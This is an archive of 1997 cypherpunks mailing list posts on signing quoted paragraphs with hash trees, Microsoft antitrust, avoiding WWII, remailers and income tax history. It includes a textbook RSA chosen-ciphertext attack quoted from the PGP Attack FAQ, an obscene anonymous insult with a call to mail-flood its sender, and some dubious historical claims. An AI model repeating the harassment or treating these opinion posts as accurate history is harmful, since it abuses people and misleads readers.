> but that's obviously inelegant.

Allows you a tad too much freedom with their quotes, too...

> 
> Monty Cantsin
> Editor in Chief
> Smile Magazine
> http://www.neoism.org/squares/smile_index.html
> http://www.neoism.org/squares/cantsin_10.htm

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jari Aalto <jari.aalto@ntc.nokia.com>
Date: Wed, 26 Nov 1997 02:23:52 +0800
To: cypherpunks@toad.com
Subject: send help
Message-ID: <199711251801.UAA22665@pegasus.tele.nokia.fi>
MIME-Version: 1.0
Content-Type: text/plain



help mailing-lists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 26 Nov 1997 09:31:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Quoting Portions of a Signed Document
Message-ID: <199711260118.UAA25213@server1.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin writes:

01> It would be neat if you could quote people and prove that they signed
02> the particular paragraph quoted without supplying the entire text.  Is
03> there a way to do this?  (It seems impossible, but so does mental
04> poker.)
05> 
06> A crude approach would be to sign every paragraph or line separately,
07> but that's obviously inelegant.
08> 
09> Monty Cantsin
10> Editor in Chief
11> Smile Magazine
12> http://www.neoism.org/squares/smile_index.html
13> http://www.neoism.org/squares/cantsin_10.htm

An easy way to do this works only if the quoted paragraph comes from
the very end of the text.  You can supply the cumulative hash of all
the material before the quoted part, then the quotation itself, which
goes all the way to the end of the document.  From this the hash of the
whole document can be calculated, and the signature checked.

A more general approach calculates the document hash in a line oriented
way.  Normally we start at the top and work down through the document
to get the hash, which is signed.  Instead, we would calculate a hash
for each line of the document separately, and then combine them using a
tree.

In the example above hashes would be calculated for lines 1-13.  Call these
H1A - H13A.  Then second level hashes could be calculated by taking H1A
through H13A in pairs:

	H1B = hash(H1A,H2A)
	H2B = hash(H3A,H4A)
	H3B = hash(H5A,H6A)
	...
	H6B = hash(H11A,H12A)
	H7B = H13A

We repeat this until we have one hash for the whole document:

	H1C = hash(H1B,H2B)
	H2C = hash(H3B,H4B)
	H3C = hash(H5B,H6B)
	H4C = H7B

	H1D = hash(H1C,H2C)
	H2D = hash(H3C,H4C)

	H1E = hash(H1D,H2D)

We sign the final hash, H1E.

Now you can extract a paragraph, say lines 6 and 7 above.  The hashes
H6A and H7A can be calculated from this.  Supply the other hashes needed
to calculate the final hash: H5A, H8A, H1C, H2D, will be enough.  This
will allow calculating H1E and the signature can be verified.  The
required number of hashes will generally be logarithmic in the size of
the missing part of the document.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul Spirito" <berezina@qed.net>
Date: Wed, 26 Nov 1997 09:43:41 +0800
To: "Fight Censorship" <fight-censorship@vorlon.mit.edu>
Subject: RE: Microsoft's compelled speech, compelled marketing
In-Reply-To: <v03007815b0a0bd483d3b@[204.254.22.197]>
Message-ID: <19971126012639357.AAB144@antigone>
MIME-Version: 1.0
Content-Type: text/plain



Declan,

All of your examples are of antitrust actions *stopped* by political pressure. Of course, monopolies tend to have lots of cash, & that buys influence -- but this is just one more reason to bust them: the disproportion in economic power within the industry corrupts the political system.

There are plenty of ways government fucks with commerce & harms competition. I've seen little evidence that monopoly-busting has done anything but promote competition -- on the rare occasions it succeeds. & the less-rare occasions when the threat influences behavior.

Unlike Lizard, I'm genuinely self-interested. I'd hate to see what would become of the computer industry if Microsoft had no fear of the DoJ.

Paul

P.S.
James & the Naderites ought to take a closer look at MS's Win98 strategy. IE4 is genuinely integrated into the OS, & new MS apps (e.g. Outlook 98) will share much of its code. This isn't bad in itself -- they launch quickly & run smoothly -- but it gives third-party developers a choice:

1) Also live off the IE4 code, making it nearly impossible to port your app to another OS.
2) Write independently & fight with the MS code for system resources. It can't be turned off.

It also makes running Navigator, in particular, ridiculous. You open a folder & bam! there's IE4. Netscape is right to focus on the backend.

P.P.S.
Despite all that, I don't support breaking up MS. The industry is too in flux. MS isn't able to assure victory.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Wed, 26 Nov 1997 11:11:30 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Quoting Portions of a Signed Document
In-Reply-To: <199711260102.UAA25089@users.invweb.net>
Message-ID: <Pine.OSF.3.96.971125202014.22431G-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



> You could just use RSA encryption to encrypt the message in the following
> manner:
> 
> The user encrypts the message with his *private* key. 

That's a signature. 

...
> At a bare minimum this would have to be done on a level of granularity of a 
> sent[e]nce to have any meaning at all and even then [its] rel[e]vance would
> be questioned. 

Quoting in the real world is like that (although that would allow you to
transpose/repeat sentences [?]). The problem is more one of having too much to
sign (processor time/bandwidth), but I think you're always going to have that
with a small granularity. Also, when not using a hash, you have to worry about
chosen-gidget attacks (see the excerpt from the PGP Attack FAQ after my
.sig...). 
 
> - ---------------------------------------------------------------
> William H. Geiger III  http://users.invweb.net/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html
> - ---------------------------------------------------------------

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer
---------------------------------------------------------------------------
>From the PGP Attack FAQ:

 Choosen cipher-text attack
  
   An attacker listens in on the insecure channel in which RSA messages
   are passed. The attacker collects an encrypted message c, from the
   target (destined for some other party). The attacker wants to be able
   to read this message without having to mount a serious factoring
   effort. In other words, she wants m=c^d.
   
   To recover m, the attacker first chooses a random number, r<n. (The
   attacker has the public-key (e,n).) The attacker computes:
   
   x=r^e mod n (She encrypts r with the target's public-key)
   
   y=xc mod n (Multiplies the target ciphertext with the temp)
   
   t=r^-1 mod n (Multiplicative inverse of r mod n)
   
   The attacker counts on the fact property that:
   
                      If x=r^e mod n, Then r=x^d mod n
                                      
   The attacker then gets the target to sign y with her private-key,
   (which actually decrypts y) and sends u=y^d mod n to the attacker. The
   attacker simply computes:
   
    tu mod n = (r^-1)(y^d) mod n = (r^-1)(x^d)(c^d) mod n = (c^d) mod n
                                    = m
                                      
   To foil this attack do not sign some random document presented to you.
   Sign a one-way hash of the message instead.
 
     _________________________________________________________________
                                      
   HTML 3.2 Checked!
   Last modified: 19 Nov 1996
   Author: infiNity <daemon9@netcom.com>
   Comments: galactus@stack.nl
   This document was generated with Orb v1.3 for OS/2.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Glenn Hauman <hauman@bb.com>
Date: Wed, 26 Nov 1997 11:17:24 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Microsoft's compelled speech, compelled marketing
In-Reply-To: <347AF2E5.CD900646@cptech.org>
Message-ID: <v03007801b0a13368fd09@[166.84.212.167]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:40 PM -0500 11/25/97, Declan McCullagh wrote:

>Former NY Times and Newseek reporter David Burnham writes in his book about
>the Justice Department: "The record is clear. Political campaign
>contributions, personal bribes and other direct and indirect favors have
>frequently influenced important Justice Department disions about the
>enforcement of law... Virtually every administration has demanded that the
>Justice Department bend the law..."

Hold it-- are you suggesting that the DOJ is being restrained in going
after Microsoft? By who?


Best-- Glenn Hauman, BiblioBytes
       http://www.bb.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 26 Nov 1997 13:56:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Policeman Inside
In-Reply-To: <Pine.BSF.3.91.971125204149.2569B-100000@gabber.c2.net>
Message-ID: <3.0.2.32.19971125212727.00770890@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:

>The whole notion of "the policeman inside" is stupid sloganeering.  Of
>*course* we have a policeman inside -- we have something that tells us
>(at least some of us) that murder, theft, and dishonesty are 
>behaviors to be avoided.  We have something that tells us (some of us) 
>it would be foolish to make a habit of running red lights.

"The policeman inside" is neither a conscience nor an instinct towards
self-preservation. I'm familiar with the term being used to refer to the
internalization of a system of external rules, coupled with a belief in
pervasive surveillance and/or the adoption of the viewpoint of an external
supervisor, such that one with a "policeman inside" learns to fear
punishment at every moment and in every situation. See, for example,
Bentham's Panopticon or Foucault's _Discipline & Punish_ for more on the
topic. 

Also, you may note that two of the three terms you used as examples of
"wrong" behavior themselves imply judgments and a moral position - "theft"
and "murder". Whether or not the taking of a physical thing is "theft" can
be a complex question, that has a lot to do with contracts and agreements
and socially constructed ideas about property. Similarly, "murder" is (to
adopt a broad definition) an unlawful and intentional homicide - which,
again, presupposes certain judgements about relationships between people.

It's easy to say that "theft and murder are wrong", because wrongness is
part of the meaning of the terms "theft" and "murder". It's much less
satisfying to say something like "it's wrong to take things that someone
else thinks they own, unless they're mistaken or you have a superior claim"
or "it's wrong to shoot someone who didn't deserve to be shot".

It's the creation of a "policeman inside" which causes people to lose their
ability to make judgements about which people (if any) ought to be shot and
which people deserve to keep their stuff. And that loss of the ability
(cognitive and moral) is, I think, a direct cause of the very crimes (theft
and murder) you mention.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 26 Nov 1997 04:46:29 +0800
To: cypherpunks@Algebra.COM
Subject: Prevention of War
Message-ID: <199711252034.VAA01169@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>At 1:43 PM -0700 11/23/97, Jim Choate wrote:
>...
>>Any particular methodology you might care to share on stopping WWII?
>>Being an avid amateur historian concerning WWII I am very much
>>interested in any insight you might have.

It looks like some context was lost.  My comments on preventing war
were part of an ongoing discussion on the effect cypherpunkly tools
may have on wars.  So, the particular "methodology" I had in mind was
that the development of extensive cross border relationships would
make wars harder to prosecute.

Imagine that in 1938 Germany that half the relationships people had
happened to cross borders.  This would mean that it would have been
far easier for many people to simply flee Germany because they would
have more couches to sleep on abroad, more people who would maybe lend
money to make it possible, and more world wide sympathy for refugees.

Also, imagine that assets were easily moved around the world and that
the German government would have been unable to control this.  This
would have made it easier for refugees to simply move what assets they
had out of the country.  But, they would probably only commit a
portion of their assets to German control, anyway, which would mean no
movement would even be necessary.

The net result of Nazi policies would have been large numbers of
people fleeing and depriving Germany of their talents and
relationships.

I do not just mean Jewish people.  Alex Le Heux mentioned that he felt
sorry for the conscripts in the Germany army who were forced to invade
other countries.  The reason people are conscripted is because they
would not otherwise volunteer.  If it was a relatively simple matter
to avoid military service, how many would fail to do so?  (And
remember that when half your friends do not have your nationality,
appeals to patriotism are less powerful.)

It is not clear that people in Germany who held substantial wealth
were all that sympathetic to Hitler.  Unfortunately, Hitler seemed to
provide a way for them to protect their wealth from other worse
people.  Later, they had to cooperate with the German government in
order to keep their wealth.  (See, for instance, the extensive
negotiations during the War to ensure that the oldest son of the Krupp
family would, in fact, inherit the firm.)

However, if the wealthy had their assets distributed through a number
of countries, this problem would have been mitigated.

The result of the policies of the German government would have been
simply to alienate and expatriate the most useful elements of German
society and deprive it of the ability to credibly wage war.

However, leaving cypherpunk issues aside, it is possible that the
necessity of World War II has been exaggerated.

Tim May wrote:
>Not entering the war. There's ample evidence that the U.S. provoked
>the Japanese in various ways.

The Japanese in 1941 were somewhat dependent on oil from the
Phillipines.  The last straw was when the U.S. embargoed this oil.
That may have been good policy, but it provoked the War.

Another little item which is usually given a strange spin is that
Britain and France declared war on Germany, not the other way around.
Perhaps that was good policy, but it is important to remember who
attacked whom.

There is a lot to be said for delaying the start of a war because
unexpected developments may later make a peace possible.

>Had the U.S. concentrated on its own affairs, on just trade, it is
>unlikely that what the Japanese were doing in Malaysia, Manchuria,
>Korea, Indochina, and the Phillipines would have had any major
>interest for us.
>
>As for Europe, this was even less our war than the Pacific war.
>
>In a sense, so _what_ if some army from some nation was rolling over
>other armies?
>
>(The "evilness" of Hitler is not the issue, either. Else Stalin and
>Mao would have been cause enough to go to war.)

It's worth noting that Hitler's most evil activities didn't occur
until the war really got going in a big way.  This made it much harder
for people to question or even know the policies their government was
carrying out.  ("What are you, a traitor?")

Also, it is clear that the Allied governments had not entered the War
for altruistic reasons.  Few Jewish refugees were accepted during the
1930s even though they were clearly being mistreated and had every
reason to flee Germany.  Allied knowledge of the Holocaust was
*suppressed* expressly to avoid popular support for admitting
refugees!

After the War the U.S. even smuggled large numbers of Nazis, including
many war criminals, out of Germany and into South America.

Any American who wanted to do the right thing for the human race
during World War II would have been wise to stay out of the Army and
spend time and effort just finding out what was going on.  A
relatively small number of people dedicated to exposing the Holocaust
would have done more good for the world than many thousands of
soldiers.  Ironically, these people would probably have had to outwit
both the American and German governments in finding the facts and
publicizing them.

>And certainly the monarchic alliances which led to the First World
>War--a war fought over the Hapsburg Dynasty and assorted
>intrigues==were completely absurd.

The links between the two World Wars are strong.  Had World War I been
avoided - and it could have been - many of the issues I have discussed
regarding World War II would not even have occurred.

> As for the Final Solution to the Jewish Problem...not my war.

This was not a pretext for the war because it hadn't occurred yet!
The War itself made the Holocaust feasible.

Countries rarely invade other countries for altruistic reasons, but
they have be dressed up this way for popular consumption.

>If the U.S. had not become "policeman to the world" in the early part
>of this century...

And let us note that this was not an elected position.  The other
countries (and people!) in the world did not get together and ask the
U.S. government to play this role.  Probably it's most accurate to
describe this as a propaganda technique to get American popular
support for policies designed to promote American hegemony.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 26 Nov 1997 05:24:35 +0800
To: cypherpunks@Algebra.COM
Subject: Quoting Portions of a Signed Document
Message-ID: <199711252109.WAA05443@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

It would be neat if you could quote people and prove that they signed
the particular paragraph quoted without supplying the entire text.  Is
there a way to do this?  (It seems impossible, but so does mental
poker.)

A crude approach would be to sign every paragraph or line separately,
but that's obviously inelegant.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Wed, 26 Nov 1997 06:37:32 +0800
To: mail2news@basement.replay.com
Subject: Re: "Good job NANAE. You really fucked up royally."
In-Reply-To: <65f2mj$t22@sjx-ixn2.ix.netcom.com>
Message-ID: <19971125222000.9242.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



eridani@netcom.com (Belinda Bryan) wrote:

> Sorry, Steve.  I can't let this one go.

Uh, huh...

[...]
 
> I am speaking on behalf of myself and Gary L. Burnore.  

Cat got his tongue?

> When something
> is repeated often enough, some people will believe it to be true.

You mean something "repeated often enough" like this claim in your own
header?:

> Organization: Boycott E-Scrub Technologies.
>  The owner is an admitted spambaiter.

You've repeated that smear against Ron Guilmette over and over.  Doesn't your
petty little vendetta against him get tiresome after awhile?  OTOH, you 
really flipped out and royally potty-mouthed a poster a few months back for 
nothing more than a URL in his/her .sig advocating a boycott of Gary Burnore's 
former employer, Wells Fargo Bank, by the AIDS Action League.  Flaming someone
for a URL in a .sig with which you disagree is rather petty and censorious, 
don't you think?

> All we ask is that you not share our physical addresses and our
                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> non-published telephone numbers with anyone but your attorney.  As you
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> may realize, there are a lot of kooks out there and I have a small child
> to protect.  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>  
> Unlike other people (namely the one posting this crap anonymously), we
> have nothing to hide.                                               ^^
  ^^^^^^^^^^^^^^^^^^^^
 
Really?  Then why are you hiding your own post from being archived by a neutral
third party?  Trying to maintain "plausible deniability" if you post something
you later regret saying and want to claim it was "forged"?

> X-No-Archive: yes 

Maybe you ought to get it through your head that some of us use "non-published
e-mail addresses" for the same reason you wish to hide your own physical
address and telephone number.  You're right.  "There are a lot of kooks out 
there", and bad things have a tendency to happen to people who dare to
challenge the opinions of your buddy Gary "Sadaam" Burnore.  Of course, it
could be just another coincidence...

Or maybe it's those "databasix goons" that "Rev. Tweek" referred to in his 
post.

At any rate, you lost any credibility as being a friend of the right to
privacy when you pulled your Helena Kobrin act this summer.  Posing as a
"lawyer" for DataBasix, you demanded that Jeff Burchell turn over all of his
user logs to you and Gary, just as the so-called "Church" of $cientology
did with the anon.penet.fi remailer in Finland last year.  The end
result was the same in both cases, too.  Both remailers shut down to avoid
the continued harassment from people like you, Gary, and Helena.  I hope
you're proud of yourselves.

> Belinda Bryan
> eridani@netcom.com

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 26 Nov 1997 13:56:52 +0800
To: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Subject: Re: your mail
In-Reply-To: <EPtLawOnbaoGUl8PvUSglw==@bureau42.ml.org>
Message-ID: <Pine.A41.3.95.971125223700.72166A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 25 Nov 1997, bureau42 Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> May Timothy C[ocksucker] Maya's forgeries 
> get stuck up his ass so he'll have to 
> shit through his filthy mouth for the 
> rest of its miserable life.
> 
> 
>  /~~~\
> {-O^O-} Timothy C[ocksucker] Maya
>  \ o /
>   (-)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Wed, 26 Nov 1997 12:54:50 +0800
To: Paul Spirito <berezina@qed.net>
Subject: Re: Microsoft's compelled speech, compelled marketing
In-Reply-To: <19971126012639357.AAB144@antigone>
Message-ID: <347B9F88.7F4D3589@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Paul Spirito wrote:
 > Declan,
> 
> All of your examples are of antitrust actions *stopped* by political
> pressure. Of course, monopolies tend to have lots of cash, & that buys
> influence -- but this is just one more reason to bust them: the
> disproportion in economic power within the industry corrupts the
> political system.


    I have worked on several antitrust issues over the past several
years.  My first serious attempt to stop a a merger involved tbe Thomson
purchase of West Publishing, for $3.4 billion.  This involved 2 of the
three large legal publishers (West was number 1).  West publishing was a
privately owned firm.  The largest shareholders were the Opperman
family.  The Opperman family gave Clinton and other democratic party
funds more than $300k during the merger review, directly, and raised
more from third parties.  Vance Opperman had coffee with Clinton and
dinner with Gore during the review.  Earlier Vance had approached
Clinton at a fundraiser to intervene in a Reno antitrust investigation
of West (which was dropped).  The merger was approved, after a
compulsory license and some modest divestitures (we were quite unhappy
with the result).

   We opposed the Bell Atlantic/Nynex merger (we didn't do as much as we
should).  Bell Atlantic has so much capitol hill juice they were able to
hold up Klein's nomination, basically until the merger was approved.

   We opposed the Staples/Office Depot merger, and were quite active. 
This was before the FTC.  Staples launched a very large PR campaign,
with some hill lobbying, but the FTC held its ground, and the merger was
stopped.

   We opposed the Boeing/McDonnell Douglas merger.  Not only did the FTC
permit the merger without any strings (Numbers 1 and 3 in a 3 firm
market with huge entry barriers), but Bill Clinton personally lobbied
the EC to approve the merger, and sent a delegation to Brussels, which
included Joel Klein, the DOJ antitrust head, to argue against
divestiture of the McDonnell Douglas civilian airline business.

    I've worked on other mergers, including  mergers in the railroad
industry, the hospital industry, and the pharmaceutical industry, and I
have been involved in other antitrust issues, such as in attempts to get
the FCC to make cable systems unbundle set top boxes, and create cross
ownership rules between cellular and PCS, and cable and DBS.  In
virtually every case politics played a role.   Typically, the incumbent
firms, or the one that want to merger, have the most influence,
politically.

    Thus, I was surprised to hear Declan say that we thought politics
didn't play a role in antitrust actions against Microsoft.  There are
many areas where politics come into play.  Gore sent his daughter to
work for Microsoft during the DOJ investigation.  Microsoft has rallied
its troops, starting with the Washington state delegation, they have
also picked up players like Vin Weber to talk with Ginrich, and they are
involved in countless other attempts to influence the Congress and the
executive branch.  Microsoft's competitors have been active too. 
Senator Hatch is obviously concerned about what MS had done to Novell
and Wordperfect.  The stakes are high, and there is a lot going on. 
That doesn't mean politics is the whole ball game.  Public opinion is a
big factor, as is the opinion of experts or reasonably informed persons.

   It is generally difficult to get DOJ or the FTC to bring an antiturst
action against anyone.  The Microsoft case is very high profile, for
many reasons.  Now that DOJ is engaged, I would expect them to make
every effort to prevail on the narrow issue before the court.  Who knows
if DOJ will be interested in pursuing the broader issues about MS's use
of the OS to gain leverage in applicaitons markets.  There is a lot
still up in the air. 

  Jamie


-- 
James Love
Consumer Project on Technology
P.O. Box 19367, Washington, DC 20036
voice 202.387.8030; fax 202.234.5176
http://www.cptech.org  |  love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 26 Nov 1997 06:27:36 +0800
To: cypherpunks@cyberpass.net
Subject: Wired: Faceless Freedom on the Net
Message-ID: <199711252217.XAA14055@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.wired.com/news/news/politics/story/8762.html

     Faceless Freedom on the Net
     by Theta Pavis 

     7:30am  25.Nov.97.PST
     NEWPORT BEACH, California - When a whole weekend is dedicated
     to exploring the principles of electronic anonymity, some big concepts
     about basic human freedoms get thrown around. And though he has
     spent a lot of time in the past couple of years providing tools that
     allow people to maintain their privacy while communicating in the
     wide-open spaces of online communications, Lance Cottrell has seen
     the more mundane realities of the anonymity issue. 

     A couple years back, Cottrell began distributing his Mixmaster
     anonymous remailer. The ability to tell the truth without announcing
     to the world, or reprisal-minded enemies, just who is speaking might
     be a cornerstone of digital freedom. But it also opens the door to those
     for whom anonymity is just a novel tool for pulling a nasty prank. 

     Cottrell, who created Mixmaster while working on his physics
     doctorate at the University of California, San Diego, said the pure
     novelty of anonymous tools made them attractive at first. 

     "People used them in abusive ways for the same reason people climb
     Mount Everest - because it's there," Cottrell said during a
     weekend-long conference here on the technical and philosophical
     underpinnings of electronic anonymity. The session, titled
     "Anonymous and Pseudonymous Communication on the Internet," was
     sponsored by the American Association for the Advancement of
     Science. 

     Cottrell, who describes himself as a "hard-line extremist in favor of
     anonymity," said the only real way to measure the problem is by
     looking at how many complaints there are about the use of software
     that protects a user's identity. 

     The pattern Cottrell has seen suggests that as use of anonymous
     remailers and the like increases, complaints about faceless harassment
     and other abuses have declined. His simple thesis for the dip:
     Anonymity tools are quickly becoming familiar, and users are
     becoming more responsible in their use. 

     Cottrell, who is also president of Infonex Internet Inc., owner of the
     popular Anonymizer email and Net access service, said that, given the
     deeper personal-freedom issues inherent in the anonymity issue, it's
     crucial that such services become profitable. 

     "There's only 15 or 20 of them [anonymous remailers] in the world, and
     they're all run by volunteers. Those volunteers are under a lot of
     pressure and are taking significant risks," he said. 

     Dealing with law enforcement requests for information comes with the
     territory, for instance. When confronted with such demands, Cottrell
     said, "We comply completely and give them everything we have -
     which is nothing. The FBI, so far, is content [to be given] log files with
     nothing useful in it." 

     Overseas, police have tried to get information a "handful" of times, he
     said. Austrian and German agents have come to Infonex to find out who
     is hosting a Web site that includes Nazi propaganda - a site run by
     Austrians but illegal in their home country. 

     But, Cottrell said, just as the people behind that site trust the company
     with their anonymity, so too can human rights organizations, which
     will increasingly be using anonymous remailers in the future. 

     "Groups of people will be putting their lives in our hands, very
     literally," Cottrell said. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 26 Nov 1997 08:29:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Illusion of Freedom
Message-ID: <23893ad912d19cd5ca7693b1b4c80cd3@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Monty Cantsin wrote:
>Nerthus wrote:
>>Monty Cantsin wrote:
>>>However, most people who engage in war are not in any sense free and
>>>the single most apparent feature of life in a military organization is
>>>the elimination of freedom and privacy.
>>>
>>>It is most often the case that in order to wage war, one must first
>>>become enslaved.
>>
>>Those who wage war are rarely the slaves.  Those who die usually are.
>>The "cannon fodder" you mentioned.
>
>"Okay soldier, let's see that pass!"  Is this the treatment accorded
>to a free man?

Clearly not.  Let me rephrase what I said since it appears it was not as 
obvious as I had thought.

Those who wage war (the politicians/"kings") are rarely the slaves.  Those 
who die (the soldiers/citizens) usually are.

The soldiers and citizens are the pawns and other chessmen on the chessboard 
who are sacrificed to protect the king of their color while attempting to 
checkmate the king of the other color.  All chessmen are expendable, except 
the two kings.  When one of the kings is checkmated, the game is over.

Note: the king can be checkmated without the loss of a single chessman, 
though it is rare.  However, the possibility exists.  Think about it.

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 26 Nov 1997 08:28:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Further costs of war
Message-ID: <39a04ee4329a5fe9efe92ce1e2fadd23@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Jim Choate wrote:
>			       ARTICLE XVI. 
> 
>	The Congress shall have power to lay and collect taxes on 
>incomes, from whatever source derived, without apportionment among the 
>several States, and without regard to any census or enumeration. 
>[25 February 1913.] 
> 
>Notice the date of implimentation, considerably before WWII, it is in fact
>the year before the US became involved in WWI. Perhaps you meant WWI instead
>of WWII? Citizens of the US have been paying taxes since 1914.

True, but a lot less citizens were paying income taxes in 1914 than in 1941.
Following are some figures that I extracted from the "Historical Statistics 
of the United States, Colonial Times to 1970", published in 1975 by the US 
Dep't of Commerce's Bureau of the Census:

[Note: in a previous post I had said that the initial income tax was 1% on 
any person earning more than $4,000 per year.  This is incorrect.  It was 1% 
on any person earning more than $20,000 per year, or roughly $400,000 in 
today's money.  Hardly the makings for a public outcry to the new 
"constitutional amendment."  Let's face it: the American public was just as 
complacent toward unconstitutional legislation then as it is now.]

In 1916, this figure was increased to 2%.  The total US gov't income tax 
revenue for that year was $68 million.  By 1940, the first income tax 
bracket had reached 4.4% on any person earning more than $4,000 per year for 
total yearly income tax revenue of $982 million.  The numbers increased 
dramatically during World War II:

Year		%	Income	Total Individual Income Tax Revenue
- ----		--	------	-----------------------------------
1941		10	2,000			$1.4 billion
1942		19	2,000			$3.2 billion
1943		19	2,000			$6.6 billion
1944		23	2,000			$18.2	billion
1945		23	2,000			$19 billion

That's an increase of roughly 2000% in a very short span of time (1940-45).
Who says war is not a lucrative business for gov't?

>Monty Cantsin wrote:
>> I doubt very much that income tax withholding would have been accepted
>> if the War were not used to justify it.  ("You don't want to pay
>> taxes?  What are you, a traitor?")
>
>What war? The taxes came about because of issues other than fighting a war
>which hadn't even happened yet.

Withholding was not implemented until 1943, smack in the middle of WWII.  In 
1943, $686 million of the $6.6 billion was collected by withholding, or just 
over 10%.  By 1945, $10 billion of the $19 billion was collected by 
withholding, more than 50%.  In 1970, $103 billion was collected in 
individual income tax, $77 billion by witholding (75%).

In summary, WWII was a convenient way for the US gov't to tighten the screws 
on its citizens, and it continues to do so to this day.  But I've discussed 
this already in a previous post.  "Check the archives." :-)

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Wed, 26 Nov 1997 13:01:00 +0800
To: mikhaelf@mindspring.com
Subject: Re: Anonymity at any cost, from The Netly News
In-Reply-To: <3.0.16.19971125032250.0e3719dc@pop.mindspring.com>
Message-ID: <199711260447.XAA20533@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Mikhael Frieden wrote:

: 
:         Making the cookie read only and erasing previous additions does the
: same thing for free. Cottrell is PT Barnum speaking. 
: 

Considering that the bulk of the online population doesn't even know how to
use the 'attrib' command, that's a useless argument.  Anyway, that's only one
aspect of the Anonimizer service.

Mark

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 26 Nov 1997 07:08:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Further costs of war
